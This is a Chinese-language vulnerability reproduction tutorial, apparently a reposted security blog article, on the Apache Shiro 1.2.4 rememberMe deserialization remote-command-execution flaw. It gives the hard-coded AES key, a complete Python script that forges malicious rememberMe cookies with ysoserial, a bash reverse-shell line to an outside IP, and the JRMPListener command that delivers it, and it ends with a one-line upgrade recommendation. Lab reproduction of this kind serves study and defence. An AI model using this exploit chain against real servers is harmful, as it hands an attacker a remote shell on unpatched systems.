01.17 「漏洞復現」Shiro RememberMe 1.2.4 反序列化命令執行漏洞

可領全套安全課程、配套攻防靶場


「漏洞復現」Shiro RememberMe 1.2.4 反序列化命令執行漏洞


影響版本

Apache Shiro <= 1.2.4


原因分析

Apache Shiro默認使用了CookieRememberMeManager,其處理cookie的流程是:得到rememberMe的cookie值 > Base64解碼–>AES解密–>反序列化。

然而AES的密鑰是硬編碼的,就導致了攻擊者可以構造惡意數據造成反序列化的RCE漏洞。


AES加密


勾選記住密碼並登錄頁面上的賬號密碼,成功登錄後臺後返回Cookie中的rememberMe值為固定的512位。

「漏洞復現」Shiro RememberMe 1.2.4 反序列化命令執行漏洞


「漏洞復現」Shiro RememberMe 1.2.4 反序列化命令執行漏洞

從官方文檔中,我們知道在Shiro配置類中加入rememberMe管理器代碼中寫到cookie加密密鑰默認為AES算法並且密鑰為2AvVhdsgUs0FSA3SDFAdag==。

「漏洞復現」Shiro RememberMe 1.2.4 反序列化命令執行漏洞

接著進行AES加密。動態跟蹤到AbstractRememberMeManager類的encrypt方法中,可以看到AES的模式為AES/CBC/PKCS5Padding

並且AES的key為Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="),轉換為16進制後是x90xf1xfex6cx8cx64xe4x3dx9dx79x98x88xc5xc6x9ax68,key為16字節,128位。

「漏洞復現」Shiro RememberMe 1.2.4 反序列化命令執行漏洞

進行AES加密,利用arraycopy()方法將隨機的16字節IV放到序列化後的數據前面,完成後再進行AES加密。

最後在CookieRememberMeManager類的rememberSerializedIdentity()方法中進行base64加密:

「漏洞復現」Shiro RememberMe 1.2.4 反序列化命令執行漏洞

環境搭建

到Github獲取Apache Shiro 1.2.4版本 源文件

<code>git clone https://github.com/apache/shiro.gitgit checkout shiro-root-1.2.4cd ./shiro/samples/web/<code>

為了配合生成反序列化的漏洞環境,需要添加存在漏洞的 jar 包,編輯 pom.xml文件,添加如下行:

<code>  <properties>   <maven.compiler.source>1.6/<maven.compiler.source>   <maven.compiler.target>1.6/<maven.compiler.target> /<properties>... <dependencies>   <dependency>     <groupid>javax.servlet/<groupid>     <artifactid>jstl/<artifactid>          <version>1.2/<version>     <scope>runtime/<scope>   /<dependency>.....   <dependency>     <groupid>org.apache.commons/<groupid>     <artifactid>commons-collections4/<artifactid>     <version>4.0/<version>   /<dependency><dependencies>/<dependencies>/<code>

修改完成後,使用Maven 把存在漏洞環境 war包進行編譯

最終可以將 target 目錄下生成的 samples-web-1.2.4.war 文件拷貝至 tomcat 目錄下的 webapps 目錄,這裡將其重命名為了 shiro.war 文件,啟動 tomcat, 在瀏覽器當中輸入

http://localhost:80/ 可以看到登錄頁面,如下圖:

「漏洞復現」Shiro RememberMe 1.2.4 反序列化命令執行漏洞

然後,獲取我們復現需要用到的ysoserial工具

<code>git clone https://github.com/frohoff/ysoserial.gitcd ysoserialmvn package -DskipTests/<code>

生成的工具在target/目錄下ysoserial-0.0.6-SNAPSHOT-all.jar文件


漏洞利用

惡意 Cookie rememberMe值構造

前16字節的密鑰–>後面加入序列化參數–>AES加密–>base64編碼–>發送cookie


生成惡意rememberMe參數值Python代碼

python PopX.py 攻擊者IP:PORT

<code>import sysimport uuidimport base64import subprocessfrom Crypto.Cipher import AESdef encode_rememberme(command): #ysoserial-0.0.6-SNAPSHOT-all.jar#文件需要在該文件目錄 popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertextif __name__ == '__main__': payload = encode_rememberme(sys.argv[1])print "rememberMe={0}".format(payload.decode())/<code>
「漏洞復現」Shiro RememberMe 1.2.4 反序列化命令執行漏洞

接下來製作反彈shell代碼

<code>bash-i>&/dev/tcp/192.168.1.2/88880>&1/<code>

然後進行Java反序列化繞過 base64編碼

http://www.jackson-t.ca/runtime-exec-payloads.html

「漏洞復現」Shiro RememberMe 1.2.4 反序列化命令執行漏洞


再使用ysoserial中JRMP監聽模塊,監聽3888端口注意這裡的端口是剛才生成rememberMe值的端口。

再加上生成的base64編碼。

<code>java-cpysoserial-0.0.6-SNAPSHOT-all.jarysoserial.exploit.JRMPListener3888CommonsCollections5'bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'/<code>
「漏洞復現」Shiro RememberMe 1.2.4 反序列化命令執行漏洞

命令執行


將使用PopX.py腳本生成的Cookie帶入Cookie請求中即連接成功反彈Shell。

「漏洞復現」Shiro RememberMe 1.2.4 反序列化命令執行漏洞


這裡會收到請求數據再而遠程執行命令

「漏洞復現」Shiro RememberMe 1.2.4 反序列化命令執行漏洞

監聽端口也收到反彈Shell

「漏洞復現」Shiro RememberMe 1.2.4 反序列化命令執行漏洞


漏洞修復


目前官方發佈了最新版本 ,強烈建議您更新並使用最新版本。


轉載註明:https://www.secpulse.com/archives/112742.html




今天你知道了嗎

「漏洞復現」Shiro RememberMe 1.2.4 反序列化命令執行漏洞

加群,黑客技術大咖在線解答(群號評論區見)


分享到:


相關文章: